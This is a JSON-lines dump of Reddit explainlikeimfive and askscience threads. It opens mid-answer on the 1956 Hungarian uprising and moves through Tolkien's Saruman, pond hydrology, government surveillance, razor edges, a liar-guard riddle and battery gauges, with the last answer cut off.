in an unplanned, unprecendented mass revolt\n---\n\nI see issues with almost every word in your statement:\n\n* *unplanned* - some sort of armed rebellion was planned by leaders with military experience (B\u00e9la Kir\u00e1ly fought along germans until 1944). Yes, it didn't went according to the plan, but it's often the case with revolts. 'A certain colonel' played significant role in radicalization of peaceful demonstration. There were training camps in forest around Miscolz and austrian-hungarian border was still porous - USSR troops left Austria in 1955. CIA operatives shuttled thru the border - see [1].\n\n* *unprecedented* - it certainly has precedents - mass riots of 1947 in Eastern Germany and demonstration in Poznan, Poland in 1956 just a day prior to violent uprising - for example. In fact, delayed USSR response to Budapest demonstration explained by attention to events in Poznan.\n\n* *Soviet occupation* - USSR forces in Hungary were far outnumbered by hungarian army. They were organized into Osobyi Corpus (Special Corp) and consisted of 2nd and 17th Guards mechanized divisions plus 172th and 195th air divisions. Their primary objective was defense of austrian-hungarian border and they were stationed close to the border. \n\n* *mass revolt* - there were mass riots in several cities against hungarian regime, not a mass revolt against *soviet occupation*. Many hungarian communists (and their family members) were hung in city streets without any due process - B\u00e9la Kir\u00e1ly and Joseph Dudasz fighters were mostly responsible. **Hungarian army did not support insurgents and remained mostly passive throughout revolt**. In some places insurgents fought against each other. Heck, Gabor's girlfriend was shot in cinema Corvin (last holdout of insurgents). Pro-regime officers and workers organized militia which fought with rebels too, along with soviet soldiers. Rural areas and small towns remained mostly quiet. Here goes *entire country* of your statement.\n\nFacts that some leaders were tainted by association with Horti regime and bloodthirstiness explain muted western response. \n\nFor example, Gen. P\u00e1l Mal\u00e9ter ordered to shoot 12 rebels, implicated in mass killings - over B\u00e9la Kir\u00e1ly objections. Note that not just individual communists were executed - their family members were often killed/raped/tortured too.\n\n > Were there any attempts to liberate other Warsaw Pact countries in the aftermath of the hungarian revolt?\n---\n\nNo, there wasn't - as on one hand USSR acted quickly and forcefully and on another anti-communists insurgents didn't have complete support of whole populace. \n\nUSSR feared that Yugoslavia might intervene against USSR (Tito spat with Stalin and they call each other nasty names, tension between USSR and Yugoslavia persisted even after Stalin's death), but to Khruschev surprise, Tito supported USSR and even proposed to help.\n\nUSSR also indicated that any overt foreign support might lead to the full-scale war. Hungarian communists promised and then enacted reforms which allowed small businesses and stopped push to soviet-style economy, it stopped anti-communist trend in society. Hungary was the most 'capitalistic' country of the whole Warsaw Pact (Yugoslavia even more so, but it wasn't a Pact member). \n\nUSSR took a lesson to allow more leeway in economies of Warsaw Pact countries. Many 'capitalistic' things were allowed in Eastern Europe that were no-no inside USSR (like small but private businesses, cash exchanges and unimpeded travel to capitalist countries). At the same time, USSR put more troops in Hungary and Czechoslovakia (came in handy later, in 1968, with much less blood) and formulated *Brezhnev' doctrine*, watching more closely all developments, as in Hungary events USSR clearly missed signals about incoming troubles.\n\n**Sources** \n\n1. [Charles Gati - Failed Illusions: Moscow, Washington, Budapest, and the 1956 Hungarian Revolt, 2006](_URL_3_). The only book in English I could recommend. Author is professor of John Hopkins University and his book is well-acclaimed.\n\n1. [Graphic images - killed communists and security officers in Budapest](_URL_2_). Many have signs of torture.\n\n2. [Russian - Oleg Filimonov. Myths about Hungarian uprising, 2006](_URL_0_). Explains in plain language why many claims about Hungarian uprising are not true.\n\n3. [Russian - Grin'ko. Shot down revolution, 2006](_URL_1_) Detailed timeline with many facts about soviet troops movements etc. Title doesn't reflect content that well.\n\n4. [Russian - Detailed account of USSR military actions and troops movement](_URL_4_). Military operations Kompas (*\u041a\u043e\u043c\u043f\u0430\u0441*) - 1st stage and  Vortex (*\u0412\u0438\u0445\u0440\u044c*) - 2nd stage, with OOBs. Cited Politbyuro directive etc. \n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Hungarian_Revolution_of_1956"], "answers_urls": [[], ["http://presidentsrus.files.wordpress.com/2007/06/nixon-hungary-1956.jpg", "http://www.iwm.at/publications/junior-visiting-fellows-confrences/vol-xxv/deconstruction-of-a-myth/"], ["http://www.polit.ru/article/2006/10/30/mify_vengr/", "http://www.polit.ru/article/2006/10/24/1956/", "http://foto-history.livejournal.com/2034689.html", "http://www.amazon.com/Failed-Illusions-Washington-Hungarian-International/dp/0804756066", "http://www.waronline.org/write/world-military/russian-military-abroad/hungary/"]]}
{"q_id": "3i4dwg", "title": "why did saruman the white defect to sauron?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i4dwg/eli5_why_did_saruman_the_white_defect_to_sauron/", "answers": {"a_id": ["cud6m48", "cud70zi", "cud82nu", "cud8etg", "cud9qp6", "cuda8di", "cudeu54", "cudhldk", "cudjzai", "cudl2y2", "cudl7on", "cudm704", "cudm7yb", "cudmcuv", "cudnby3", "cudnwy0", "cudo097", "cudo6fm", "cudparb", "cudq5o2", "cudrf1h", "cudsac1", "cudtuya", "cudu94p", "cudvdic"], "score": [19, 3531, 3, 2, 52, 92, 15, 438, 30, 2, 3, 263, 10, 15, 5, 22, 3, 5, 2, 10, 8, 23, 3, 2, 2], "text": ["Because he came in mental contact with Sauron through the use of a palantir. He was then deluded/controlled by Sauron though he was not completely aware that it had happened.", "Initially Saruman wanted the One Ring for himself. In somewhat simplified terms, he was jealous of the respect and admiration given to Gandalf. So he wanted the Ring and its powers to make himself greater.\n\nIn the events leading up to and including The Hobbit, he hasn't yet begun to be controlled by Sauron, but he does want to leave Sauron alone in the hope that the lost One Ring would turn up as well (hence, he counsels against attacking Dol Goldur at the 2851 White Council).  Saruman then goes off to start looking for the ring, at Gladden Fields where the Ring was lost when Isildur was killed.\n\nThen at a later White Council meeting, at a time when Bilbo has found the ring and events are moving forward swiftly, Saruman switches course and says they should attack Dol Goldur to keep Sauron from reaching the river. Sauron leaves DG, the Battle of the Five Armies happens.\n\nOnly 50 years after those events does Saruman use the Palantir, establishing the mental connection to Sauron.\n\nSo you could say he doesn't really \"defect\" since from very early on, he's trying to gain power for himself.  He was never a truly stand up guy, in other words.  But, he only begins to be controlled directly because of his desire for power when he uses the Palantir.\n\nEdit: pushes glasses up nose, adjusts pocket protector. Thanks for the gold!", "He gained the Isil palant\u00edr from Isengard and with it saw Mordor. Sauron then manipulated him and showed him his huge armies; selectively showing certain things above others. This made him believe that there was no way to defeat Sauron and that the wises thing to do is to join him. At the same time though, he also wants the one ring for himself, though, and the power that would come with it. ", "one of the major factors was also his research into ring lore.  Just as the ring's power tempted Boromir to take it to use as a super weapon, the knowledge corrupted Saruman.  \n\noriginally he just wanted to find a way to deal with the ring should it be found, but as he learned what it was capable of, he was tempted by it more and more until he decided to conquer the world\n\nHis plan was basically to gain some wiggle room by \"defecting\" to Sauron so he would leave Sarumon alone.  though once Sarumon had the ring, all bets would be off, and he would then usurp Sauron as the dark lord and rule Middle Earth until it's destruction in the final battle\n\nso TL:DR  reading about the ring turned him from noble wizard to two-faced prick", "Saruman was too confident in his own abilities. When he gazed into the palantir, allowing him to see into Sauron's mind, it allowed Sauron to see into him and gain control over him.\n\nFriedrich Nietzsche said: \"He who fights with monsters should look to it that he himself does not become a monster. And when you gaze long into an abyss the abyss also gazes into you.\"\n\n_URL_0_\n\nI wonder if Tolkien had this in mind when he wrote about the palantir.", "Has anyone noticed that both Saruman and Sauron started under Aule? Guy is clearly terrible at choosing employees.", "He had his mind dominated when he tried to use the seeing orb, more or less.  The script says he didn't, but Sauron controlled what he could see and broke his will, in effect.  All downhill from there.", "Long story short: Saruman wants to be the best wizard, but Gandalf has more friends and was elected prom queen. Saruman reads a lot of books so he knows that the One Ring was lost, and it could make him the most powerful wizard. He tries to wait until the Ring shows up, since he knows that the Ring's maker, Sauron, is gathering power in Dol Guldur, so he thinks Sauron will eventually figure out where the Ring is. At that point, Saruman can swoop in and take the Ring and become #1 wizard (and also prom queen).\n\nA bunch of time passes with basically nothing happening because Bilbo took the Ring to the Shire and hid it under his bed or whatever. During this time, Saruman finds one of the Seeing Stones, the Palantiri, and makes contact with Sauron. One of Sauron's powers is that he is supernaturally pursuasive, and he convinces Saruman that the West and the Free People are not strong enough to stand up to Mordor, and if Isengard were to ally itself with Mordor, they could take over Middle Earth and become the most powerful and also prom king and queen and that stupid Gandalf would get what's coming to him. \n\nIn the end, a combination of Sauron's supernatural ability of pursuasion and Saruman's own immense desire for power lead to his betrayal of the Council and his alliance with Mordor.", "This should be a separate ELI5, but several answers to this post refer to the power of the ring. Besides turning you invisible (and letting you see ringwraith faces and understand giant spider speech), what does the ring actually do?\n\nI know it was the 'one ring to rule them all'; Sauron gave the **EDIT:** ~~11~~ rings of power to dwarves and men having secretly made am additional ring to control anyone wearing the others (IIRC, the wraiths are the enslaved spirits of the original human ring wearers).\n\nSince those rings are presumably no longer around (or at least, not being worn by the senior members of each of the three races), what does having the ring actually accomplish (other than focusing Sauron's undivided attention on you)?", "As I recall from reading, it was the palantiri. Its what corrupted both Saruman and the Steward of Gondor ( each one had one as well as Suaron ) by feeding them false visions.", "A whole page in one of the books was dedicated to emphasising how much of an epic presence Saruman posessed, to the point that people would instinctively turn and focus all attention on him the moment he started to speak. Its loosely implied (though probably said in a metaphorical in-universe kind of way) that it was almost sorcery how persuasive he could be (hence manipulating the barbarian)", "There's a lot of good answers here, but the top ones seem to be missing a key feature of Tolkein's mythos.\n\nSauron and Saruman were both servants of Aule, lord of the smiths. Melkor and Aule both share similarities in that they desire order and power. Sauron was seduced by Melkor's vision of a world ordered strictly and without wasteful contrivances. Saruman was always intrigued by Sauron and Melkor's vision of the future.\n\nHowever, Saruman had little interest in serving Sauron. Saruman wanted power for himself. He wanted the deference and loyalty that Gandalf easily commanded from the free peoples. He wanted the respect of the Vala that his subordinate was able to simply be granted. The two towers were destined to become one no matter the outcome of the war for the ring. Should Sauron gain the ring, Saruman would certainly be disposed of once his use had ended. Should Saruman gain the ring, he would certainly attempt to use its secrets to create another and using it destroy Sauron. Saruman was not an ally to Sauron. He was interested in shaping the future of man on their behalf by deceiving Sauron into making him his closest ally until he could seize absolute power for himself.\n\nSaruman was absolutely the most powerful of the Istari, but he was unwise, vain, and believed himself above the lesser races. Saruman wanted to order Middle Earth and drive it toward a goal of his making. To undo what he was as petty contrivance. In this way, his motivations were identical to Melkor and Saurons' goals.\n\nGandalf? Gandalf had the wisdom to see that Eru instructed the Valar to sing the world into creation so that mortal beings could suffer, triumph, grow, learn, and above all, teach Eru's companion Valar what it is to be gods. Gandalf recognized that Middle Earth was an experience to be unfolded before the gods' eyes so that the gods could come to know wisdom, compassion, and the value of each life.\n\nSaruman failed to see this, and felt spurned when those who were truly wise saw Gandalf's wisdom as greater than Saruman's influence. Gandalf and Saruman's philosophies are simply different. Saruman wishes to shape the destinies of men by leading them for what he sees as their benefit. Gandalf merely wishes to be a shepherd for the free peoples, helping them to decide what is right, and only intervening where the dark powers have tipped the scales against the free peoples.\n\nTL;DR: Gandalf is Jesus, Saruman isn't.", "As a nerd who loves Tolkien (I wrote a senior college paper about Gandalf's relationship to the elves and whether he was Elf, Man or Istari... well before wikipedias existed on the subject, and mostly to prove my professor wrong since he insisted Gandalf was an elf due to getting Narya) and thought he knew a lot about the Lord of the Rings, I really want to date and/or best friend half of the people in this thread.", "so in the world of Middle earth there is a long long history.  i am refering to the book \"the silmarillian\" and the book of lost tales.\n\nbasically gandalf, sauruman, sauron, the balrog, and rattagast the brown are angels that helped to build the world at the beginning of time. most of the angels stayed in heaven after god created the universe but some came to earth in order to finish making it ready for men and elves to live there.\n\nthe most powerful angel was Morgoth and his most loyal servant was sauron. Morgoth hated God and wanted to destroy everything god built so that Morgoth could build it better. Morgoth's  end goal was to get revenge on god (long story explaining that, basically they got into an argument and god won) Morgoth wanted to take god's place as ruler of the universe and to trash everything God made out of spite.\n\nsauron (who was known as the Vampire lord), the balrogs and other angels who followed Morgoth saw Morgoth's power and ambition as an opportunity to claim more power for themselves. God told the angels they could not use their full power but Morgoth didnt care about that and so many followed him, eager to find out what they were capabul of.  the good angels tried to create middle earth and the evil anges tried to tear it appart and so there was a giant epic war that lasted a really long time. everybody fought Morgoth, his creations and his evil angels.\n\nMorgoth almost took over the world, all the elves almost died, there were battles between hundreds of balrogs with dragon air support and millions of elves and millions of humans and there were angels trying to help but also trying not to use to much power, and tons of people and angels just up and surrendered to Morgoth. it was epic and long but the good guys won eventually.\n\nthen the remaining good angels all decided to go back to heaven and swore never to use their powers again. all the angels feared that if they used their powers they would be tempted to follow the same path as Morgoth. only a very few angels decided to stay on earth to watch over it and they swore never to use there full power and they each took physical form dooming them to never return to heaven.\n\nthese angels were gandalf, sauruman and a few others that were killed or lost before the lord of the rings.\n\nSauruman was interested in science.  He was interested in progress. He sought out new ideas and attempted to change the world in good ways. he believed that he could bring a better world about, that he could make the world better than it was, he belived he could do gods job better than god. In order to change the world you need power, and followers. sauruman wanted to be important, he wanted knowledge, he wanted the strength to fix what he saw was broken but he had sworn not to use his strength. he wanted these things for good reasons but even wanting them was enough of a temptation to do ill. sauruman looked at men and eventually saw weaklings who couldnt change who they were, he looked at the elves who could change but chose not too and then sauron looked at Mordor and at sauron and there sauruman saw the future, he saw power, he saw all the things he dreamed of and he saw an opportunity to remake the world. Sauruman became evil because he spoke to Sauron the most powerful follower of Morgoth who was the most powerful being in creation and sauruman wanted to become like them.\n\n\nTHIS IS A LONG LONG STORY AND I DIDNT TELL IT VERY WELL BUT THAT IS YOUR ANSWER\n\nEVIL IS TEMPTING- full stop\n", "Can someone explain to me more in detail what happened exactly when Gandalf the Grey falls with the Balrog and later returns as Gandalf the white?\\\n\nEdit: Thanks, I appreciate it.", "Rather someone explain to me why everyone is so surprised that two people with such similar names ally together.\n\nOh, Hitler? Yeah, he was pretty much the worst of humanity. Now, Hitlurman over here is freaking awesome and we should totally trust him!", "Why is Sauron so intent of defeating the Elves and going through all this ring business? He knows the Elves will go away to Valinor if he didn't teach them how to make the rings, so he could have just waited for them to leave, made some rings and gave it to the men and be the king of middle earth! Isn't that easier?", "There's a lot of fan theory, too, surrounding the Silmarillion and the potential relationship that Saruman/Curumo would have had with Sauron/Mairon in Aman during the years before Mairon became corrupted by Melkor.  A lot of that theory involves Curumo regarding Mairon as something of a mentor/older brother figure, since both were Maia of the Vala Aule and Mairon was considered to be particularly skilled in forge work (Curumo was also a smith).  \n\n\nThere is also the issue of power: though all the Istari were put into the bodies of old men in the hopes that they would not seek power for themselves over the peoples of Middle Earth, we know that Gandalf/Olorin is a lesser Maia of Manwe.  Because Manwe is the appointed ruler of the Valar, Gandalf would probably have a bit more sway in terms of decision-making to those who knew his identity (Galadriel knows, at least).  Therefore, even if Saruman is considered to be holier, so to speak, for being \"the White\", Gandalf still has more clout because his Vala is higher-ranked than Saruman's Vala.\n\n\nAs a side-note, Radagast/Aiwendil is a Maia of Yavanna, who is the Vala of nature and forests.", "He did't exactly defect as he was still a completely different army from the Mordor ones. In fact Sarumans main goal was to try to take the ring not give it to Sauron", "There's also the issue of theme. Melkor was the greatest of the Ainur. He fell to evil. Well, he sort of invented evil. F\u00ebanor is the greatest of the elves, and while he never really goes bad a lot of evil comes from his arrogance and temper. In the heat of the moment he and his kin swear an oath that brings them all to ruin. The greatest of the wizards also falls to arrogance. Saruman seeks power and thinks he can wield the ring. This is his downfall.\n\nPeople can say Saruman's motivation was this or that but ultimately it happened because it fit the story that Tolkien was telling. The people held up as the best are the Hobbits. They live simply. They don't seek power. They enjoy a pint. They farm the land.\nThe bad people sought power and came to a bad end.\n\nLotr is just a big old morality tale. Saruman defected because he did bad things and went down a bad road that ended up with his throat getting cut at Sharkey's End.", "Basically Saruman was the wisest of the Istari, and studied the most on ring-lore.  He came to the conclusion that it would be in his best interests to have the ring so he could become more powerful\n\nMovie Saruman: he basically wants Sauron to rule and himself to become his second in command, because he believes there can be no victory against Sauron.  As the wisest Istari, this was probably the most logical conclusion.\n\nBook Saruman: Kind of the same, but instead of being Sauron's total bitch, he's more interested in getting the ring for himself and amassing personal power, which also brings him into conflict with the goodies.\n\nBasically Saruman was too smart for his own good, and he calculated that the most logical decision was to try to get the ring/ally with Sauron.  Gandalf was not the wisest of the Istari but he was more humble, thus he stayed true to the Valar.", "If you want an answer that's based on published works, and not taking into account all the notes his son had printed later, Saruman had found a Palantir and foolishly used it. The Palantirs are basically telepathy walkies-talkies and let users all across middle earth sit inside each others heads. Gandalf immediately recognized the danger with a line something like \"You've no idea where the other Palantir's are!\" and his concern was correct. When Saruman used it, Sauron was on the other end. Sauron immediately brainwashed him. Saurons primary power throughout the Lord of the Rings and the Silmarillion was his ability to brainwash and deceive. Saruman didn't stand a chance once his mind was linked to Sauron. Sauron exploited his vanity and quest for power to corrupt him. I think like anyone, Saruman had his faults of course... but it wasn't until his faults were exposed so obviously to Sauron via the Palantir that his fate was sealed. ", "A lot of people seem to be struggling with the details regarding who everyone is in LOTR and this video from CGP Grey really helped me get a handle on it:\n\n_URL_1_\n\n_URL_0_", "Lots of great replies to this question.   Which one of you is Stephen Colbert?", "You should check out [this video](_URL_1_) and [this video](_URL_0_). :10 in 2 videos, \"The Lord of the Rings Mythology Explained\" from CGP Grey youtube channel.\n\nIt's an excellent overview of the universe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikiquote.org/wiki/Friedrich_Nietzsche"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=WKU0qDpu3AM", "https://www.youtube.com/watch?v=YxgsxaFWWHQ"], [], ["https://www.youtube.com/watch?v=WKU0qDpu3AM", "https://www.youtube.com/watch?v=YxgsxaFWWHQ"]]}
{"q_id": "bjhv4i", "title": "why doesn\u2019t water in a pond just soak into the ground?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjhv4i/eli5_why_doesnt_water_in_a_pond_just_soak_into/", "answers": {"a_id": ["em890vc", "em89ua6", "em8a55l", "em8abpz", "em8admh", "em8aqpm", "em8avqg", "em8b6kg", "em8c78m"], "score": [188, 10, 1212, 5, 10, 38, 2, 63, 5], "text": ["Could be that the ground in the area is impermeable to water (eg. clay soils), that the ground is saturated with water already (basically the level of the pond water is the same as the level of the groundwater) or that the water is constantly being refilled from a stream or whatever. Usually a combination of these factors, plus probably some others.", "Permeability. There are layers of clay, rock, etc, which prevent the water from going down. \n\nReference _URL_0_", "A pond is a place where the water table (level of groundwater) reaches the ground level. [Picture here.](_URL_0_) So the water has nowhere to go, except into more water.", "Artificial Ponds are often lined with material to prevent this. Unfortunately if the fabric or plastic sheeting gets a hole in it your pond will leak. \n\n & #x200B;\n\nFor natural ponds often it will need a solid rock bottom, a highish water table, or a constant feed of water. \n\n & #x200B;\n\n[Search for pond lining](_URL_0_)", "Generally speaking, it does.  It might do it more slowly or faster depending on the underlying material (rock layers obviously have very low permeability/percolation), but the only requirement is that it seeps down slower than it fills up.", "There are several types of \"Ponds\".   Many do soak into the ground, but are refilled at the same rate via a river or spring.  Some are the surfacing of the water table, or aquifer, so the ground beneath is saturated.  [This image](_URL_0_) may help.", "It does, but the ground might already be soaked, and the pond might be retaining what the ground can't absorb. Or, there might be less permeable rock under the pond that does a better job retaining water than dirt. Or, it could be absorbing it, but slower than it's filling.", "Imagine you have a bowl.  Pour water into the bowl and it just sits there, right?\n\nNow, imagine that you have a bowl with a crack or a small hole in it.  It's going to leak out slowly, right?\n\nNow imagine that you put that cracked bowl under a faucet that has a drip.  You might get water that drips out of the faucet at the same rate that it's leaking out of the cracked bowl.\n\nThis is essentially what's happening with a pond.  There is water leaking out, but there's also water flowing into it at roughly the same rate.  I say roughly because if you get a drought or a rainy period the level of the pond may go up or down.  But generally speaking water is flowing into the pond from the ground water, rain, streams, etc. at around the same rate that it's filtering down through the dirt into the lower layers until it hits the water table.\n\nThis is, of course, for natural ponds not man made ponds with liners and what not.", "Great question!\n\nWhen water soaks into the ground, we call that *infiltration.* Different kinds of soil allow infiltration at different rates. Some, like clay soils, have slow infiltration rates. Others, like sandy soils, have  faster rates. Some things actually barely allow any water at all, like certain kinds of rock (shale, for example). They are impermeable.\n\nSo that might be one reason you have water sticking around for a long time, but it usually isn't enough to make a pond last year-round. \n\nAnother part is what we call the water table. It isn't an actual place or thing in the ground. The water table is the level of water in the soil. If you imagine soil like a giant sponge, the bottom part is totally soaked with water, and the top part is mostly dry. All the \"holes\" in the sponge are filled with air, not water. The water table would be the border between the dry zone and the soaked or saturated zone.\n\nLike others have said, if a pond is there year-round, that is a spot where the water table is above the ground. A well uses the same concept. There isn't a single place where water can be found in the earth--it is everywhere. A well is just a hole cut into the sponge that you can pull water out of.\n\n\nSometimes, there is an \"extra\" water table. This happens if you have something which is impermeable (like shale) in a layer above the normal water table. Some extra water will be \"perched\" above the normal water table. So we call that a perched water table.\n\nEven many streams use the same concept as a pond. Not all, but many streams get their water from the ground. They are lower than the water table in that area, or at least the bottom of the stream is. So some of the water is coming from upstream, and some from the soil around the stream!\n\nOther streams do the opposite, and are located above the water table. These are called losing streams, and they will slowly give up water to the ground.\n\nI could keep writing for a long time if you have more questions. I am studying these topics at college!\n\nEDIT: I also want to point out that the water table is not flat. It is a 3D surface--think of a bedsheet, not a table! It typically follows the shape of the land, but in a smoother way. The \"hills\" are not as tall, and the \"valleys\" are not as low."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.physicsforums.com/threads/how-come-the-ocean-hasnt-been-absorbed-into-the-ground.564079/"], ["http://deerlakeassociation.org/userfiles/image/groundwater%20gram.png"], ["https://www.google.com/search?q=pond+lining&amp;oq=pond+lining&amp;aqs=chrome..69i57j0l5.2247j0j7&amp;sourceid=chrome&amp;ie=UTF-8"], [], ["https://media.nationalgeographic.org/assets/photos/000/191/19125.jpg"], [], [], []]}
{"q_id": "ezi4g6", "title": "how do governments run mass surveillance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ezi4g6/eli5_how_do_governments_run_mass_surveillance/", "answers": {"a_id": ["fgnn64k", "fgnn7nj", "fgo0pap", "fgoubws", "fgnfylv", "fgnhzqq"], "score": [57, 6, 6, 2, 2, 13], "text": ["Alexa, how do governments run mass surveillance?", "One of the ways that the NSA does it in the US is by intercepting internet traffic.  These days even voice phone calls generally use the internet, so they can capture not only \"regular\" internet traffic but also phone calls.  They've built at least one (and probably more than one) massive data centers to hold and filter through all of that traffic.  I'm sure that a lot of it gets discarded since it is a huge volume of information every day, and a lot of it is useless/redundant.   \n  \nI don't know if they've set up similar data centers outside of the US to capture internet traffic from the rest of the world, but I'd be surprised if they haven't.  And it's also reasonably likely that other countries do the same thing.", "They don\u2019t. At least not in the sense most people think; that you\u2019re being watched constantly. What they run is mass recordkeeping. Imagine the amount of manpower it would take to surveil and analyze the behavior and actions of 300 million Americans? It\u2019s an alright incomprehensible undertaking and definitely not one the few tens of thousands of employees working for the DOD that would have access to that information would be able to do. Instead, the problem comes with their ability to access information through secret FISA courts at whim, and the gathering of meta data/call logs over a long period of time. It\u2019s still scary, because you shouldn\u2019t have all that information logged without your consent, but it\u2019s not the same as people listening in on you, which seems to be what most people believe is happening.", "I have spent over a decade in IT security and work closely with a highly regarded cybersecurity expert who is one of the oldest CISSP holders. This line of work has given me extraordinary connections and made me privy to information that is not widely known even in the cybersecurity field. One of my childhood friends ended up working for the NSA, which is another source, but most of these connections are my partner's, not mine, so the information is very much second and third hand. \n\nPeople have given a lot of answers, but the one that gets overlooked is *companies that manage your data and internet traffic collect and share that information with the government.* Apple is notorious for not playing ball with the FBI, while other companies will make any alterations to software that they're asked to so that the government can more easily hack it or have constant access.  \n\nThe NSA hires contractors through shell companies to find exploits in software and hardware. My friend did this for a living for several years- he would buy off-the-shelf routers and analyze them for firmware flaws. He would then write up an analysis of the flaw and how it could be exploited and send that paper to the NSA. This is what is called a grey hat hacker, as opposed to a white hat hacker, which would have sent the exploit documentation to the company that made the product so they could fix it. Heartbleed is an example of an exploit that the NSA knew about for years and didn't make public because they were able to use it.  \n\nThe thing is, they can't actually monitor all that data that they collect. Some of it is targeted, but mass data collection is done by multiple agencies that don't cooperate and dropped into different databases in different formats run by different people. Luckily, there is a software out there that acts as a database aggregator and allows the NSA to search across all those various databases even though they use different formats. That is the software that Edward Snowden helped write (allegedly). There is a similar software on the civilian market called SPLUNK, and watching that software in action made it abundantly clear to me that if the NSA wanted to aggregate multiple databases like that, the tools existed to do it.  \n\nSince monitoring all that data live is not really an option, or even manually digging through it, what they can do is run cross-reference searches to find targets that meet certain criteria to be investigated further. While there are courts designed for issuing secret warrants for this, it's been noted that the standard operating methods of the NSA make it irrelevant if said warrant is obtained. They can determine what languages you speak, what contacts you have, and by looking for certain red flags, they can figure out who they need to dedicate targeted data collection on.  \n\nOf course, the government doesn't usually operate as one cohesive unit. The FBI runs their own data collection and surveillance operations, sometimes they're run by very small groups. For example, an FBI agent decided he wanted to catch pedophiles more efficiently, so he went to the Best Buy repair center where all computers that are given to Best Buy for repairs are sent. He worked with the managers of that facility and shared software with them that would scan computer hard drives thoroughly for anything that might be child pornography. They taught the employees how to use it and every computer that went through that center for years had its hard drive scanned. Employees who found CP were given a cash bonus. You can probably guess, but this whole operation was highly illegal, but it did result in a large number of child pornography convictions. Fortunately, an innocent man was targeted by this program and he had a competent lawyer who actually asked how the pictures were found, since they had been deleted. The Best Buy employee was forced to testify, spilled the beans of the operation, and ultimately hundreds of convictions will likely be sent back to trial with no admissible evidence.  \n\nI could go on for hours, but I'll stop there. There's a lot of information out there, and a lot of it is just tinfoilers. However, government surveillance is by definition a conspiracy, so any theories about it are by extension \"conspiracy theories\". That is not a reason to dismiss them.", "By installing cameras everywhere and using ai for facial recognization, license plate reading, etc.  And creating a database to match against for each face and license plate detected by the cameras, etc.  And then logging the dates and locations of everything.", "if you really want to know, go you youtube \"Government Surveillance: Last Week Tonight with John Oliver (HBO)\" \n\ntl;dr: Government can request anything from social media companies and any companies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "36lf8p", "title": "How long will a steel razor hold its edge when left undisturbed in a neutral environment?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36lf8p/how_long_will_a_steel_razor_hold_its_edge_when/", "answers": {"a_id": ["crf2nmj"], "score": [15], "text": ["I feel like this is an ill-defined question. Whatever process is decaying it, is surely constantly happening at a very slow pace. How do you define the point at which the edge transitions from being held to not being held? A certain radius at the tip?\n\nIn extremely large timescales the whole razor will decay into energy. On shorter timescales, the mass will fluctuate slightly, as is seen with standards for the kilogram. Steel will also creep very slowly under gravity, sort of flowing like a fluid, although not much of this will happen considering how light it is and that it is probably supported. On the shortest timescales oxidation is probably an issue, but not so much if stored so as to counter that (maybe in an inert gas).\n\nTL;DR: I don't know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "267zfg", "title": "solution to popular truth/liar door guardian riddle", "selftext": "The riddle in \"The Labyrinth\", with David Bowie.  You guys know what I'm talking about?\n\nThere are two doors, each with a guard standing in front of it.  One door leads to wealth and riches, while the other leads to death and despair.  One guard tells only lies.  The other guard tells only the truth.  You have no way of knowing which guard is which.  You are allowed to ask one question of one of the guards.\n\nWhat question would you ask in order to determine which door leads to the wealth and riches?\n\n(I apologize if this has been asked before, but when searching, I could not figure out what name it would be under.)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/267zfg/eli5_solution_to_popular_truthliar_door_guardian/", "answers": {"a_id": ["choi4ip", "choi74b"], "score": [2, 5], "text": ["\"If I ask the other guard what door has riches, what would his answer be?\"  Then, the opposite choice is the actual correct answer.\n\nScenario 1: You're talking to the liar, he knows the truth teller would tell the truth (door A), so the liar says door B.\n\nScenario 2: You're talking to the truthteller, he knows the liar would say a lie (door B), so he says door B.\n\nOn either case, door B is the wrong answer, so you choose door A.", "The honest guard would tell you to go through his door if you asked him which door to go through, and the liar would tell you to go through his own. \n\nSo, the trick is to ask a guard which door the *other* guard would say to go through.\n\nIf you ask the honest guard, he will honestly tell you that the lying guard would say \"go through my door.\" If you ask the lying guard, he will lie and say that the honest guard would say \"go through the other guy's door.\"\n\nIn other words, you're guaranteed that whichever guard you ask will tell you a lie. The lying guard will lie, and the honest guard will repeat the lying guard's lie since that's what would honestly happen.\n\nSo, say \"which door would the other guard tell me to go through,\" and then pick the other one.\n\nThe key is to understand that the liar isn't *tricky*, he just never says anything that's true. You can exploit that fact, though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "t03w5", "title": "Why does my ipod's battery gauge fluctuate so unpredictably?", "selftext": "This happens to both myself and friends and particularly whilst playing applications for more than a minute or two. Soon after stopping playing it, the battery returns from the below 20% area. Why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/t03w5/why_does_my_ipods_battery_gauge_fluctuate_so/", "answers": {"a_id": ["c4iet2y", "c4ieubs"], "score": [3, 3], "text": ["Electronic devices generally measure the battery voltage and convert this to some sort of pseudo remaining energy measurement. Under a steady load for the entire run time, this may be accurate, assuming a linear scenario.\n\nDue to a battery's internal resistance, however, heavy loads will bring down the measured battery voltage while supplying current to the heavy load (a sort of voltage divider is created). When the load is removed/reduced, the measured voltage jumps back up.\n\nIn short, the energy stored in the battery is inferred from its measured voltage, which varies depending on the amount of current it is sourcing.", "Your battery gauge measures the voltage of your battery, and while it is a fairly good indicator of how much charge is left in your battery in an ideal world, things such as mass transport plays a hand in the real world.\n\nNormally, a cell's voltage is determined by the [Nernst equation](_URL_0_) - it is dependent on the concentrations of the reactants in each cell. This makes sense - as a cell is discharged, fewer reactants are available, concentration goes down, and voltage drops.\n\nHowever, _during discharge_, the _local_ concentration of reactants may dip, simply because it's being consumed. If you stop the rapid discharge (for example, stop running applications), you allow the 